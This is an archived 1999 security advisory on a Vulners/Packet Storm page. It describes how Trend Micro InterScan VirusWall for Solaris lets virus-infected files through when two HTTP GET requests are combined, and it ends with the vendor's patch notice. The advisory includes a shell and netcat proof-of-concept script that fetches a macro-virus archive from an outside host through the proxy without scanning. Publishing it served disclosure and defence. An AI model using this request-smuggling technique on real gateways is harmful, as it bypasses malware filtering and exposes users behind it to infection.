Lucene search
K

interscan.viruswall.txt

🗓️ 17 Aug 1999 00:00:00Reported by s10Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

InterScan VirusWall allows infected files to be downloaded without warning via specific requests.

Code
`Date: Mon, 22 Feb 1999 21:31:51 +0100  
From: The Unicorn <[email protected]>  
To: [email protected]  
Subject: BlackHats Advisory -- InterScan VirusWall  
  
BlackHats Security Advisory  
  
  
Release date: February 22, 1999  
Application: InterScan Viruswall for Solaris  
Severity: Any user can download binaries and virus  
infected files though the VirusWall  
  
Author(s): [email protected], [email protected]  
  
---  
Overview :  
---  
  
InterScan VirusWall is part of Trend Micro's integrated family  
of virus protection products that covers every access point - Internet  
gateways, groupware, e-mail and intranet servers, LAN servers, and  
desktops. InterScan VirusWall scans inbound and outbound SMTP mail and  
attachments, FTP and HTTP traffic in real time. It automatically cleans  
infected files and detects malicious Java applets and ActiveX objects.  
  
When two HTML GET commands are combined in one request, of wich  
the former points to a non-scanned file like a graphic image (i.e. a GIF  
file) and the latter to a possibly infected binary or macro file, both  
of the files are passed to the user requesting the data without any  
warning or logging by the VirusWall. We found that this combination  
was sometimes generated by well-known web browsers like Netscape  
Communicator and Microsoft Internet Explorer during normal use.  
  
We informed Trend Micro of this vulnerability more than three  
weeks ago. We fully described the problem to Trend Engineering and  
included an exploit similar to the one described below and all traffic  
between the browser and VirusWall, but did not receive a fix for this  
problem. The explanation received was that they were unable to reproduce  
it on their systems. Since these systems are used to protect people  
behind (expensive) firewall configurations against virus infection, we  
decided to make, at least, the administrators of these systems aware of  
this exploit that can be used by users behind an InterScan VirusWall  
configuration to circumvent the implemented security policy.  
  
---  
Affected systems:  
---  
  
InterScan Viruswall for Solaris  
Implementations of InterScan VirusWall on other platforms are  
likely to be vulnerable, but are not tested since we do not have  
them available  
  
---  
Workarounds/Fixes:  
---  
  
We have not yet received a fix from Trend Micro. It might be  
possible to close this hole by scanning *ALL* data passed in HTTP  
traffic, but this will have a negative influence on the throughput of  
the complete firewall configuration.  
  
---  
Example:  
---  
  
We developed the following exploit that requests two files in  
one message. The first one is a simple graphic file (in this case form  
the Trend Micro web-site) and the second one is a file containing a well  
known macro-virus, which would normally be detected and removed by the  
product. Using the netcat tool we send this combined request out to the  
world using the VirusWall as a proxy-server. The information received  
back is stored in a file. When later examining the file we find both the  
graphic and the virus infected contents requested. Looking through the  
logfiles no trace is found of this file seeping through the hole.  
  
#!/bin/sh  
echo "GET http://www.antivirus.com/vinfo/images/amb1.gif HTTP/1.0  
Referer: http://www.antivirus.com/index.html  
Proxy-Connection: Keep-Alive  
User-Agent: Mozilla/4.5 [en] (WinNT; I)  
Host: www.antivirus.com  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg image/png  
Accept-Encoding: gzip  
Accept-Language: en  
Accept-Charset: iso-8859-1,*,utf-8  
  
GET http://sourceofkaos.com/homes/knowdeth/virii/boom-a.zip HTTP/1.0  
Referer: http://sourceofkaos.com/homes/knowdeth/index.html  
Proxy-Connection: Keep-Alive  
User-Agent: Mozilla/4.5 [en] (WinNT; I)  
Host: sourceofkaos.com  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  
image/png, */*  
Accept-Encoding: gzip  
Accept-Language: en  
Accept-Charset: iso-8859-1,*,utf-8  
  
" | nc viruswall 80 > the.results  
  
Changing the second part of this "code" will enable downloading  
any information through the Trend Micro InterScan VirusWall. Probably  
because the product only acts on the first GET command in a message,  
while retrieving all information requested.  
  
---  
Further Study:  
---  
  
Further study of this vulnerability may focus on FTP and SMTP  
traffic and the detection of malicious Java applets and ActiveX objects.  
  
  
Ciao,  
Unicorn.  
--  
======= _ __,;;;/ TimeWaster ================================================  
,;( )_, )~\| A Truly Wise Man Never Plays  
;; // `--; Leapfrog With A Unicorn...  
==='= ;\ = | ==== Youth is Not a Time in Life, It is a State of Mind! =======  
  
----------------------------------------------------------------------------------  
  
Date: Thu, 25 Feb 1999 12:28:46 -0800  
From: Bob Li <[email protected]>  
To: [email protected]  
Subject: Patch for InterScan VirusWall for Unix now available  
  
We have been recently notified about a potential security hole in our  
InterScan Web VirusWall for Solaris product via the "BlackHats Security  
Advisory". The potential problem described relates to being able to  
download binaries and virus infected files by using HTTP proxy "keep-alive"  
connections.  
  
We have looked into the description of the problem and have identified that  
there was a  
problem with the software. As a result, we are issuing a patch which can be  
obtained from Trend Micro at http:://www.antivirus.com to resolve the  
problem.  
  
This issue applies to InterScan for Solaris and HP-UX. The Windows NT  
version of InterScan does not have this problem.  
  
Bob Li  
Product Manager  
Trend Micro, Inc.  
E-Mail: [email protected]  
Phone: 408-863-6341  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation